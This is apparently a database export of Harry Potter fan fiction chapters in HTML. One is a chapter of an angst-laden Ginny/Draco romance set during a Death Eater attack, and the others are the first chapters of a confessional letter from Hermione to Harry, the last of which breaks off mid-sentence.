	(140, 4, '<p>Disclaimer: I don\'t own anything.</p>\n<p> </p>\n<p> </p>\n<p> </p>\n<p>Though My Heart Is From Hell<br/>\n	Chapter 4</p>\n<p>	I tore through the halls as fast as I could, unaware of anything\nin front of me.  My eyes watered from the intensity of the wind\nthat blew, and that was when I realized that I have drifted off\noutside.  <br/>\n	The lake I stood by was calm and quiet, blue and serene.  I saw\nmyself staring back at me questioningly.  <br/>\n	And there I sat, thinking over the events that had only just\noccurred.  To put it simply, I had been foolish.  To ever think\nthat something good would happen to me, perhaps.  It wasn\'t the\nfact that he had taken <i>advantage</i> of me, it was the fact\nthat I had believed that it could be real, that he could have\nbeen attracted to <i>me</i>, to ever think that whatever god that\nwas up there would give me a break. Perhaps I was still a foolish\nchild, and maybe <i>he</i> was right-- fairy tales were for dreamers.\n I told myself again that I would have to stop being so naïve.\n It was weakness, and it made me tremble, threatening to break\nme, to make me dissolve into something helpless and defeated.\nPicking up a small smooth stone that sat on the ground next to\nme, I threw it down in the pale water, watching as my reflection\nshattered, then rippled back into place again.  I picked up another\nsmooth stone to throw into the waters again, but I did not.  I\ntook a look at myself, a calculating look at-maybe what I looked\nlike.  Or maybe what I was really feeling, I do not know. I saw\nconfusion and hurt in my dark eyes that looked so foreign to me,\nstaring back at me sadly. Once again.  But then, there was something\nelse lodged in with that bitterness. I saw fiery anger, anger\nthat could not be smoldered, anger that came from tears cried\none too many times. <br/>\n	Letting the stone drop, I stood up, turning away from the too\ncalm lake.  I had meant to do something about Draco today, I had\nreally meant to try and help myself from falling furtherI really\nhadBut what could I do if Draco beat me to the game?<br/>\n<i>Well done, Draco Malfoy.  </i></p>\n<p>-----------------------------------------------+</p>\n<p>	It was after dinner, and I was by the fireplace in the Gryffindor\ncommon room, book on my lap as I studied.  Soon, I heard footsteps\nthudding on the other side of the room, near the portrait hole,\nand I could tell it was Harry, Ron and Hermione simply by the\nway their footsteps pounded on the ground.<br/>\n	" Hullo, Ginny." Ron greeted rather jovially, face\nlooking slightly red.  I looked up and offered him a weak smile\nbefore looking at Hermione, who was smiling warmly at me, and\nHarry, who was ruffling his ever messy hair.  They seemed so happy.\n <br/>\n	" Have you finished your homework, then?" Ron asked,\npeering over my shoulders.  I nodded quietly, looking down at\nmy book, feeling discomfort set in heavily as I felt their eyes\non me.  Anxiety, guilt; everything.  The pen in my hand I chewed\nslowly, my eyes on the book beneath me yet not able to take in\nanything it said. <br/>\n	" Well, we\'ll be off then, Ginny.  Call us if you need anything."\nRon patted me on the shoulder before his shoes thudded out of\nthe room and up the stairs, Hermione following.  I waited quietly,\nback hunched over, and I waited for the last pair of footsteps\nto go up the stairs, but they never did.  <br/>\n	The fire crackled noisily, and the room was so cheerful, what\nwith it being adorned with scarlet and gold, but I felt a numbing\ntension fill up in me as he continued to stare at my back with\nhis brilliant green eyes that seemed to know everything.  	<br/>\n	With a snap, I turned around briskly, trying to work up a casual\nsmile.  <br/>\n	" Aren\'t you going to join them, Harry?" I asked nonchalantly,\neyes sparkling brightly beneath the square rimmed glasses I wore.\n He stared down at me with that odd, calculating look he wore\noften.  Stepping forward, he smiled warmly.  <br/>\n	" Of course." He replied easily.  Thud, thud thud.\n Soon he was up the stairs, and I was alone.   <br/>\n	I had tried to study.  But I could not, and the words were a\nblur in front of me.  Letting out a weary sigh, I closed the book\nand set it down on the table in front of me.  <br/>\n	Yet again, I felt trapped, and I felt as if I needed to run away,\nto where, I didn\'t know, but I knew I have to get away.  Nodding,\nI got up and stretched, before calling up the stairs.  <br/>\n	"Ron, I\'m going to the library!"  My voice echoed through\nthe walls, and for a moment, there was no answer.  <br/>\n	" Alright then!  Don\'t be out too long!"  I hurried\nout of the portrait hole and scurried down the familiar path to\nthe dimming library.  Heading toward the same table I had sat\nat in the morning, I looked for the book that I had been sure\nI had left on the table.  It was not there.  Looking over at the\nlibrarian, Madame Pince, I frowned, though she did not notice.\n Perhaps she had shelved it.  <br/>\n	Walking over to the Muggle Literature section yet again, I hummed\na small tune as I guided my finger over the stack of books, searching\nfor the right one.  But it was not there.  Confusion filled me\nagain, for I did not know where it had gone.  Perhaps it had been\nchecked out already? <br/>\n	Straightening my robes, I strode over to the librarian who was\nreading a small, black book, and cleared my throat, hoping to\ncatch her attention.  <br/>\n	Her piercing eyes looked up, and looked at me once, narrowed\nsuspiciously as she tried to figure out what I wanted.  Shaking\nslightly, I cleared my throat again and tried to remember what\nI was going to say. <br/>\n	\' I-Madame Pince, uh, I would like to know if, uh, Grimms\' Fairy\nTales has been checked out?\'  I stuttered laughably like some\nidiotic fool, which I was, come to think of it.  Her eyes narrowed\nfurther.  Her lips tightened, and she hopped off her stool to\ncome closer to me as I stood there frozen.  <br/>\n<i>Fear.<br/>\n</i>	I felt a hand on my shoulder.  A cold hand, and Madame Pince\'s\neyes averted to the owner.  <br/>\n	" Come now, Virginia.  Don\'t bother Madame Pince."\n A cool, deep voice that I knew so well-and one I was slowly growing\nsick of.  I looked toward my left and I saw his cruel sneer. \nAs he led me over to one of the hidden tables, I did not know\nwhy I followed, I did not know why I did not resist-all I knew\nwas that he was making my heart thump again, and he was making\nme feel vulnerable all over again.  Bastard.  <br/>\n	" Looking for this?" he asked quietly.  Looking at\nthe object he held in his hands, I realized it was the book. \nI glared at him with all the hatred I could muster, and snatched\nit back angrily.  <br/>\n	" No need to get snappy, Virginia." He muttered, looking\nat me oddly.  But this time, I would not stand for him.  Though\npart of me was indeed happy that he was near me again, the raw\nfeeling of hurt was still present in myself.  <br/>\n	" Get away from me." I pleaded, my voice cracking.\n He raised one eyebrow, never taking his eyes off of me.  <br/>\n	" And what if I don\'t?" he challenged, amusement in\nhis voice.  I didn\'t know.  <br/>\n	" Please"  I must have sounded pathetic and disgusting\nto his ears, though he did not show it, for I felt disgusted with\nmyself.  <br/>\n	" Why are you mad, Virginia?" he asked in what he thought\nwas a concerned voice.  But it wasn\'t.  And when I looked at his\nperfect face I saw that.  Here was the man who did not know how\nI felt, nor would he ever know.  I opened my mouth to answer him,\nmillions of thoughts running through me.  <br/>\n	" Because-"  But I stopped, because he was not looking\nat me any longer.  His eyes were staring out the window, squinting\nas he struggled to see outside into the evening.  Eyes widening\nslightly, he grabbed my shoulders and pushed me away, walking\nquickly away from me.  <br/>\n	" I have to go!" he called, before rushing out of the\nlibrary.  <br/>\nImmediately, I felt the confusion and emptiness set it as I realized\nwhat had just happened.  Once again, I had failed to speak my\nmind passionately like I had imagined so in so many dreams, and\nhe had once again blatantly ignored me, unable to see beyond my\ndesires.  Or so I thought.  <br/>\n	Slowly and wearily, I walked down the halls alone until I saw\nthe familiar portrait of the Fat Lady again, and I spoke the password\nquietly, climbing in tiredly.  I was not thinking of anything\nat the moment, I was merely basking in the confusion of his sudden\nleave, but the nagging voice in my head reminded me to think again\nof the horrible fate that could await me-if I do not take action.\n <br/>\n	But I was tired.  All I wanted was some rest, and to slip away\nfrom my life again.  So, I lay sprawled across on the couch, book\nlain in front of me, the world seeming very far away.  </p>\n<p>----------------------------------------------+</p>\n<p>	A bang.  A bang, and the portrait burst open, admitting three\ngrim-faced figures that I recognized well.  I awoke with a start,\nrealizing that I had fallen asleep, still not completely grasping\nreality.  As I looked around, ignoring the three for a moment,\nI saw other students scattered around the common room, eyes wide\nas they looked at Harry, Hermione and Ron, who had their wands\npointed out in front of them.  Without wasting a moment, and without\ngiving any of us a chance to wonder what was going on, they rushed\nover to us and shouted for the whole room to hear.  <br/>\n	" 1st, 2nd, 3rd, 4th, 5th, and 6th years, please go to your\ndormitories now."  Harry paused, fear dotting his every feature.\n <br/>\n	"7th years, follow us."  A few students got up and\nwalked out the portrait hole without a word, and murmurs rose\nfrom the rest of us.  What was going on?  Harry pursed his lips\nand turned away along with Ron, while Hermione faced us still,\nher face so full of concern. <br/>\n	" Go, now!" she repeated, jerking everyone to their\nsenses.  Slowly, they dropped everything that they had been doing\nand scurried up the stairs in a frenzy, for the alarm in their\nfaces had not been forgotten.  I followed them, book clutched\ntightly in my hand, my other hand clutching the rail next to me.\n <br/>\n	People swarmed around me, eyes wide, mouths open as they yelled\nacross the room, but I could not hear them.  I stumbled with each\nstep I took, and slowly, dizziness took me over, the black haze\nsetting in stronger.  <br/>\n	My mind was screaming all the while, screaming things that did\nnot make sense, yet things I could decipher.  <br/>\n<i>Get to your room.</i> <br/>\n	Innumerable chills shot up my body as the screams shook me, made\nme tremble with fear, great fear that I had never thought I could\neven come close to feeling.  <br/>\n	I don\'t know how I managed to reach my dormitory-perhaps someone\nhad pulled me along the way.  But when I reached my bed, I let\nout a whoosh of breath, falling gratefully onto it, wrapping myself\nwith the quilts that lay on it.  The screams I heard clearly now,\nand they came from everywhere around me.  <br/>\n<i>He is here.</i></p>\n<p> </p>\n<p> </p>\n<p>------------------------------------------------------+</p>\n<p> </p>\n<p>	When I woke up again, I was sweating profusely; cold, bitter\nsweat that mixed with the tears that had fallen while I slept.\n I could not remember the dream I had dreamt, but it had been\nhorrible.  Full of blood and screamingand of horrors I didn\'t\ndare speak of.  My mouth felt dry and surely there was a lump\nin the back of my throat, or perhaps that was the fear that immediately\novertook me?  <br/>\n	I wrapped the quilts tighter around me, but that did not help\nshoo away the chills.  Getting up and letting the blankets fall\naway, I licked my lips and gingerly placed a barefoot on the floor,\nglad that they met warm carpet instead of cold stone.  <br/>\n	I peeked out the door and into the dark hallway, hoping to catch\nsome movement, hoping to get somewhere.  When I saw no one, I\ncrept down the stairs slowly, taking care not to let them creak,\nand winced as my feet touched the cold floor.  <br/>\n<i>Green eyes.<br/>\n</i>	" Harry?"  Alarm reached my voice as I saw him\nsitting forlornly on the shabby couches that looked so dull-simply\nbecause the light outside was still gray.  <br/>\n	His tired eyes met mine and he smiled, pushing up his falling\nglasses.  <br/>\n	" Hullo, Ginny." He said.  His voice was hoarse and\nI could feel his tiredness in the air.  I walked over to him quietly,\nstill in my nightgown and the questions returned to me, for I\nstrived to understand, wanted to confirm my assumptions.  <br/>\n	" What happened, Harry?" I asked quietly, almost dreading\nthe answer.  He didn\'t answer for a while, however.  Smoothing\nout my gown, I sat beside him, fixing him with a probing look\nas I struggled to get something out of him.  <br/>\n	"Just-"  he paused, his breath coming out in short,\nerratic sighs.  " Just an attack, Ginny."  I sat silently,\nmy face becoming stoic as I heard his words.  <br/>\n	" Nothing to worry about Ginny.  No one you know was hurt."\n He added in what he hoped was a reassuring voice-but how could\nit be, when fear coursed through him like a raging river?   <br/>\n	Strangely enough, the prospect of an attack did no effect on\nme, and I remained silent and emotionless.<br/>\n	" Only some death eaters" he trailed off, his voice\ndistant as my thoughts wandered away from him.  But when I heard\nthose 4 words, my head snapped towards him, eyes wide and searching.\n<br/>\n	" D-Death Eaters?" I repeated dubiously, fear clawing\nat my heart.  He nodded casually, not thinking much of it.  I\nshould have dropped the matter and assumed that he was ok-perhaps\nhe wasn\'t even a Death Eater, but I couldn\'t.  Being the pathetic,\nlovesick thing I was, I couldn\'t.  <br/>\n	" Which ones, Harry?  Do you know?" I asked eagerly,\na hand on his shoulders.  He turned toward me, suspicion in his\neyes as he wondered why I was so intent on knowing.  Shaking his\nhead, he answered.  <br/>\n	" How would I know, Ginny?"  I looked down at the floor,\ntrying to calm my heart that had been thudding loudly.  But Harry\nhad seen enough.  Taking my hand, he forced me to look in his\neyes.  <br/>\n	" Why do you want to know?" he asked, his voice dangerously\nlow.  I shrugged, trying to writhe away from him. <br/>\n	" Just wondering" My voice was small and frightened,\nfor he looked so menacing.  He must have noticed, because he turned\naway, his expression softening.  <br/>\n	"Just remember:  One less Death Eater in this world is one\nless innocent life lost."  He told me quietly, green eyes\nprobing my own, trying to look into them.  But I would not let\nhim.  My hands shook so I grabbed the arm of the chair and took\na deep breath, feeling the wind rushing into my lungs, making\nme feel breathless in an odd way.  Strange worry overwhelmed me,\nand I felt an urgent call leading me away from the common room.\n <br/>\n	I could not withstand such a strong force.  I twirled around\nbriskly and walked stiffly towards the portrait hole, face grim\nand eyes wide.  <br/>\n	" Where are you going, Ginny?" Harry called after me\nin alarm, and I could hear him stand up, and his footsteps soon\nthudded over to where I was, following me out into the corridors,\npursuing me without relenting.  <br/>\n	" Ihave to go, Harry." I said quietly so that only\nhe could hear.  I turned around and faced him.  <br/>\n<i>I have to go.  Forgive me.<br/>\n</i>	His harsh expression softened for a moment, and he closed\nhis eyes, clenching his fists.  Putting a hand on my shoulder,\nhe smiled lightly.  <br/>\n	" It\'s dangerous for you to be out here, Ginny." He\ninsisted.  I tried to resist, for the nagging in my body was getting\nintense, yet he was persistent and strong, and he led me back\nto where I started, leaving me frustrated.  <br/>\n	I couldn\'t understand.  A big part of me-the part I that I could\nunderstand, the part that was rational, that part of me was frightened\nto death of the attack, and that part of me warned me to stay\nwhere I was instead of venturing into possibly dangerous paths.\n But the other part of me, though it was a small part, it was\nstrong in an unruly way and if I tried to resist, I felt it grow\nstronger, and I felt myself grow dizzy and pained.  Worry shadowed\nmy mind, and I grew impatient.  Impatient with myself, impatient\nwith Harry.  <br/>\n	For hours I sat by the familiar fire of the common room, biting\nmy nails nervously as I waited for news of the attack while Harry\nsat near as if keeping an eye on me, though he dozed off numerous\ntimes.  <br/>\n	And at long last, the portrait hole swung open to reveal my brother,\nface streaked with grime.  He entered and saw Harry snoozing,\nthen promptly woke him.  <br/>\n	" Harry-we have to go." He muttered, his voice harboring\nmuch fear.  I sat straighter, wondering where he had to go, for\neven then, I was still naïve about such war.  Harry did not\nprotest and he and my brother left, left with just one look towards\nme, a look that said clearly, \' Stay here.\'.  But I could not.\n Curiosity, mischief, and worry took over me-and I had to go find\nhim.  If not find him, at least wander about the halls.  I would\nnot sit by the fire in safety all the while.  Grabbing my black\ncloak from my dorm, I padded out the portrait hole quietly, watching\nfor any one that passed by, and trusted that my senses would lead\nme to where I wanted to go.  <br/>\n	I wandered aimlessly along the halls for a long while-at some\npoints it seemed hopeless.  Yet something kept me going, something\nkept this burning inside my heart, this burning that made me go.\n <br/>\n	The wind blew.  I looked around and saw that I had walked outside\ninto a dark evening.  Looking up at the sky, there were dark gray\nclouds that threatened to burst.  Wrapping the cloak tighter around\nmyself, I walked along the grounds.  Perhaps I was taking some\ntime to think-to reminiscence, or to further think of what I had\nto do-those certain depressing matters I had not much thought\nof since the library.  <br/>\n	\'<i>Damn it!\'</i> <br/>\n	The loud hiss snapped me out of my thoughts and I looked around\nfrantically, searching for the source.  I soon found it.  <br/>\n	His blonde head was hung low as he hissed and groaned in pain,\nand he sat under the tree alone, cursing and brooding.  He looked\nup, and his great gray eyes glared up at me, menacing, accusing,\nwary-it was also dotted with annoyance.  <br/>\n	Ignoring the way in which he stared at me, I looked down at his\narm.  My stomach churned slightly as my mind registered the image\nbefore me.  Blood all over his robes, crimson blood, dark, metallic\nblood.  The cut was huge and the bleeding had not stopped.  Skin\nthat had not completely broken off flapped as the wind blew, and\nI winced.  And a moment later, another emotion took me over. \nWorry, concern.  Those feelings overwhelmed me, and I could not\ncontain myself.  I rushed over to him and grabbed his arm, looking\nit over, biting my lip.  I tried not to.  I really did.<br/>\n	But my salty, bitter tears fell upon his wound.  <br/>\n	I loved him.  And he knew.  <br/>\nBecause when I looked up at him, eyes still full of tears, he\nsneered at me, almost pitying me.  I felt hatred toward myself,\nI felt humiliated-because I obviously cared for him.  And he obviously\ndid not.  He laughed at all my silly antics, laughed at the way\nI could not fight against him.  The maddening part?  He was right.<br/>\n	Shifting his position, he cleared his throat.  <br/>\n	"So, are you going to help me, Virginia?" he asked\namusedly, knowing the answer all too well. Powerless over my own\nfeelings, I nodded, and after ripping a piece of <i>my</i> cloak,\nI wrapped it tightly around his wound.  <br/>\n	"Follow me."  <br/>\nSlowly I walked back towards the castle.</p>\n<p>--------------------------------------------+</p>\n<p>	\'<i>Shit!</i>\'  He hissed loudly, wincing in pain.  I glared\nat him.  <br/>\n	"I told you it would hurt," I reminded him. "\nBut you\'re going to have to deal with it."  He looked away\nand I took that as a sign of relenting.  I dabbed the swab over\nthe wound again, then took out the gauze and wrapped it around\nthe area that was cut.  It had stopped bleeding by now, and for\nthat I was grateful.  I smiled at his arm as I finished, feeling\nsatisfied with my own work.  I looked up at him for his approval-I\nsuppose that was what mattered most to me.  It was also the first\ntime I had smiled in ages.  <br/>\nHe was looking down at me oddly, no sense of respect in his eyes.\n For a moment, he did not say anything.<br/>\n	" You like me, don\'t you?" he commented suddenly, eyes\nhooded and challenging they glanced at me.  Silence rang loudly\nthrough the room.<br/>\nI turned away, feeling that I could not answer the question. \nI did not want to, and it did not need to be answered.  My heart\nrocked and ached as I looked out the window, and his eyes were\nalways on me.  <br/>\n	Then he laughed.  Laughed cruelly, sadistically, laughed in all\nthe ways I remembered Tom to have.   <br/>\nI couldn\'t take anymore, I didn\'t want to-I wanted so much to\npush him away with no hesitation, to not care if he had fallen\noff a cliff.  <br/>\nSo I turned to him, eyes narrowed and glistening, wondering if\nhe had gone crazy.  <br/>\n	And that was when I saw the tattoo snaking over his arm gracefully.\n Shining proudly, darkly, and suddenly his face seemed to grow\nmalicious, crueler, colder, and fear engulfed me.  But I stood\nmy stance and continued staring at him-that much I could do. \nFire burned in me, this time anger mixed with horror, because\nhe knew I loved him.  And now my fears had been confirmed.  I\nfelt weak and powerless.<br/>\n	He sat there in the Gryffindor common room, looking like beautiful.\n He sat there next to me, and I ached in vain.  I ached alone,\nand the world laughed at me. <br/>\n<i>A flash.</i> <br/>\nHis eyesthey flashed dangerously and when I looked in them I saw\nthat there simply wasn\'t a single bit of warmth or remorse or\nanything remotely related to human nature<br/>\nSoon I felt my heart ripping out of me, because his lips were\nupon my own yet again, and everything inside of me he took with\nhim.  My heart, soul, mind-he controlled me when he kissed me\nlike this, and I couldn\'t do anything-didn\'t want to.<br/>\nHis cold hands wrapped around me and pushed me harshly onto the\ncouch as he lay on top of me, lips trailing down my neck, leaving\nme panting, gasping, crying bitter tears because I was so addicted\nto him, so intoxicated by him-and though I thought of this as\nheaven, forbidden, painful heavenit was all an illusion.  He smiled\nat me cruelly through his lips, and I knew everything that he\nwas.  Cruel, heartless, deceiving, ambitious.  And I could only\nwonder one thing: Why couldn\'t circumstances be different?  Why\ncouldn\'t he be kind?  Why did I have to fall in love with him?\n So if I had, why does God not give me a reason?<br/>\n<i>Don\'t cry, Virginia.<br/>\n</i>Though I could sense what he was telling me with every blink\nof his eye, every movement of his body, he whispered only one\nthing into my ear, one thing to send my mind reeling, leaving\nme incapable of feeling anything now.<br/>\n	\'<i>You\'re mine.\'  <br/>\n	Another flash, and a burst of strength<br/>\n</i>I was screaming.  Eyes closed, my body shaking, I mustered\nevery bit of strength I had in me and pushed him away, pushed\nhim away though he was at the same time drawn to me-or perhaps,\nI drawn to him.  <br/>\n	I stood up, hair a mess, eyes bloodshot as I struggled to breathe\nproperly.  <br/>\n	" Get away from me, Draco." I whispered quietly, pathetically.\n His arms crossed, he stared at me, towering over my head.  <br/>\n	"So <i>fickle</i>, aren\'t we?" he murmured.  Stepping\ncloser, he smirked slightly.  " Can\'t decide what we want?"\n I looked down at the wooden floor.  <br/>\n	"You know that\'s not what I mean."  His eyebrows raised\nin mock surprise.  <br/>\n	"Oh?"  <br/>\nI wanted to shout at him everything that I had said to myself.\n<br/>\n<i>You deceiving bastard.  Go on then, take advantage of me.\nUse me, kiss me, then throw me away.  Leave me lying lifelessly\non the cold floor, fading with the passing wind.  You know I love\nyou, and you use me for the destruction of everything that was\nonce known.  <br/>\n</i>	"Stop." I pleaded simply.  A pause.  <br/>\n	"Stop what?" he asked innocently, stepping even closer.\n I closed my eyes, feeling bile coming up my throat.  As my hand\ntouched my forehead, it met cold sweat.  <br/>\n	"I can\'t do this, Draco." I said, asking of him something\nthat I was quite sure he would not agree to.  <br/>\n	"Can\'t do what?" he persisted, insisting that he did\nnot know what I was talking about.  <br/>\n	"Can\'t fight."  A cruel smile formed on his pale, glowing\nface.  <br/>\n	"Oh, but Virginia-that\'s where you\'re wrong.  <i>You don\'t\nhave to fight.</i>"  I looked at him, eyes wide.  My heart\nquickened and soon thumped loudly.  And as it always did, my vision\ngot blurred soon, my cheeks wet.  <br/>\n	"Crying again?" he scoffed, no change in disposition\nthough he saw me cry.  " Weak." He spat disdainfully.\nI was so angry.and while I was crying, I was screaming in my head,\nlisting all the reasons why I was fighting him, why I hated myself\nand what I really wanted.  Was there a reason other than instinct?\n Wasn\'t that good enough for me?<br/>\n	"Oh, but I do.  I do have to fight, Draco.  I\'ll fight hard\nand strong-undaunted by <i>you.</i>  And when I win this battle\nmyself, I\'ll get rid of you.  I\'ll make it so that I won\'t spend\nanother day thinking of you and your damn gray eyes."  My\nvoice was loud, clear and with surprising force.  The sound of\nit lingered in the room for a while, but soon the silence replaced\nit.  I stared at him still, and he stared back at me. <br/>\n	" I am a worthy opponent, don\'t you think?" he questioned.\n Flustered by the oddness of the question, I nodded, hesitation\nreplacing the feeling of hatred and determination. <br/>\n	" You would be a strong opponent as well, Virginia-but you\nhave weaknesses that I do not have."  <br/>\n	"I have none." I said, hoping I was right though doubt\nfilled me.  He chuckled, lifting my chin up slightly.  <br/>\n	"Love is weakness, Virginia."  I blinked.<br/>\nI had been so pumped with strength only moments ago, because I\nknew I had to fight, and knowing that I had no choice in the matter\nhelped me. <br/>\n	A cough.  That was all that took to snap me out of my reverie.\n I stared at him, for he had grabbed his cloak.  <br/>\n	"Why bother fighting when you have no hope?" he asked.\n I did not answer.  Sighing slightly, he looked me up and down\nonce more before he nodded at me, a sign of good-bye.  Then he\ndisappeared out of the portrait hole.  Leaving me feeling once\nagain angry.  I had not said all that I had wanted to say, I had\nnot won at all.  And I wondered.<br/>\n<i>Why bother fighting when you have no hope?<br/>\n</i>Because my life was worth fighting for?  Because everything\nI believed in, whether it had been once upon a time, was worth\nkeeping?  Because I loved the world as it was?<br/>\n</p>\n<p> </p>\n<p> </p>\n<p>--------------------------------------+<br/>\n<i>       I was cloaked in black robesI proceeded down the hall\nquietly, and I did not recognize the place I was in.  But soon\nI met the great ugly doors to the chamber in which I was called\nto, and it no longer mattered.  As it was thrust open with amazing\nstrength, I came face to face with a huge room full of others\ncloaked in robes, hooded as they moved aside for me.  <br/>\n	And I walked down, cruel smile upon my face as I reached the\ndestination.  I was sure of what I wanted to do, and I was sure\nthat I had to meet whomever it was that sat at the end.  Though\nthe fear was there, it was surprisingly weak.  <br/>\n	And I stopped in front of him.  Only his blood red lips I could\nsee, and his glowing eyes so cruel, malicious, showing everything\nthat was pain and misery.  His lips curled up into a satisfied\nsneer.  <br/>\n	\'Welcome\'  <br/>\nI bowed before him, my master, his greatness<br/>\n	He laughed, laughed because everything was perfect, and there\nwas no way to lose now.  <br/>\n	I stared down at my arm and saw the snake.  Saw it shine and\nglisten in glory.  I should have been scared, alarmed, but I was\nnot.  With that glance, all fear rushed out of me, banished forever.\n I wanted to be here.<br/>\n And I laughed too, for indeed, how would we lose with I on their\nside?  How would Harry Potter defend himself now, when fate and\nluck have deserted him?</i></p>\n<p></p>\n<p><i> </i></p>\n<p> </p>\n<p> </p>\n<p> </p>\n<p> </p>\n<p>To Be Continued<i> <br/>\n</i> </p>\n<p> </p>\n<p>A/N: Feedback is appreciated.<br/>\n'),
	(142, 1, '\n\n\n\n<p class="MsoNormal">Disclaimer: Harry Potter and all related indicia belong to\nJ. K. Rowling. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~Chapter 1~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Bloody hell! I am so confused! I thought that you would shun\nme forever if you found out. Well it just goes to show how stupid the smartest\nwitch in our Graduating class can be.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I still can&#8217;t believe the out come of the entire situation.\nYou were so understanding. You told not to worry about it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Though I still believe that you&#8217;re wrong on one count, I am\nhappy with were we are. No more secrets. No more lies. No more hiding it all.\nIt&#8217;s just us, you and me. No one else, just us.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">You have no idea how wonderful that sounds. Well, I could be\nwrong. You may know, but if you do you&#8217;ve never told me, and, as I remind\nmyself, probably never will.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">But I&#8217;m not going to let that ruin the immense relief that I\nhave in my heart. You know and you are still speaking to me.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron was right, no matter what happened you would always be\nmy friend. I know, now, that he was right. I hope that it will be forever true.\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I love you Harry Potter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Even though you may not love me in the same way, I still and\nalways will love you. And not because you&#8217;re The Boy Who Lived, but because you\nare Harry, just Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I know that who ever is reading this is going to be reading\nit after my death, and you are probably wondering why in the hell I am going on\nabout my undying love for Harry Potter. Well, I&#8217;ll tell you.</p>\n\n\n\n\n\n\n'),
	(142, 2, '\n\n\n\n<p class="MsoNormal">Disclaimer: Harry Potter and all related indicia belong to\nJ. K. Rowling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~Chapter 2~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It all started in fourth year. That is when I started loving\nHarry. Of course, I had known him since first year, but not until I saw that\nlook in his eyes at the Yule Ball, which I had attended with Viktor Krum,\nworld-famous Quidditch star. I can&#8217;t describe the look that you gave me, Harry.\nIt was like hurt, confusion, anger, pity, regret, and loneliness all in one.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">We were back in he Common Room that night and Ron was screaming\nat me. You walked in and I took one look at you and left. Leaving Ron and I am\nsure yourself dumbfounded. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Or rather bewildered would be a better word in this case.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I ran to my dormitories. I was so scared. I didn&#8217;t know what\nI was feeling. I had no idea why I felt that way. It had never happened before.\nI cried and cried, that is until Parvati and Lavender came up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They asked me what was wrong. Why I was crying and why Ron\nwas fuming and you Harry, were sitting in the Common Room with your head in\nyour hands. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I told them what I felt. Everything that had happened, I had\ngone through that night.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Everything!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">At the close they were both screaming and jumping up and\ndown. I am still surprised that McGonagall didn&#8217;t pay us a little visit that\nnight. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They were screaming, &#8216;Oh, My God! &#8216;Mione, you&#8217;re in LOVE\nwith HARRY!!!!&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I sat there, on my four-poster, staring at nothing and\nexamined my feelings. And you know what? They were right. I was in love with\nyou; I had fallen hard and fast. Maybe too much so.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ever since that day I tried to deny it all. Then you would\nlook at me or come and talk to me when everyone else was off doing his or her\nown thing. You would wipe away all of my depression. It was all gone, every bit\nof it, just gone into thin air. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That&#8217;s when people began to suspect. Ginny cornered me one\nday and asked me about it. I tried to deny it, but she saw right through that.\nSo, I told her, everything. I still can&#8217;t believe I did that but, well, it&#8217;s\nall in the past.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After that others came to me asking if it was true, and\nafter a while I got sick of denying it and just told them all. </p>\n\n\n\n\n\n\n'),
	(142, 3, '\n\n\n\n<p class="MsoNormal">Disclaimer: Harry Potter and all related indicia belong to\nJ. K. Rowling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~Chapter 3~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Not too long after I stopped denying things Dean and Seamus\nfound out and decided to tell you. I nearly died. I thought for sure that after\nthat I would get the cold shoulder, but you just shrugged it off. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That summer I moved to Surrey with my mum and dad. I moved\ninto, how ironic, Number 6 Privet Drive. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Depressed and lonely I went out in to the back yard the day\nafter we moved in, that&#8217;s when I met Dudley. God, what a COW!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He sauntered over to the fence and told me that I was pretty\nand asked if I would go out with him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I hate being cornered like that. I hate to hurt people&#8217;s\nfeelings, and if you hadn&#8217;t come out the back door, I probably would have said\nyes. But, you did come out, and I thank God everyday for that.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">We spent a lot of time together that summer. Until you went\nto Ron&#8217;s for the last two weeks that is. I didn&#8217;t go.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">We became so close. Holding hands, whispering secrets to\neach other, and other things. Thought I never got my hopes up too much. And for\na good cause too.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">At Ron&#8217;s you learned of his crush for me. You argued that we\n(Ron and myself) could never work out because of 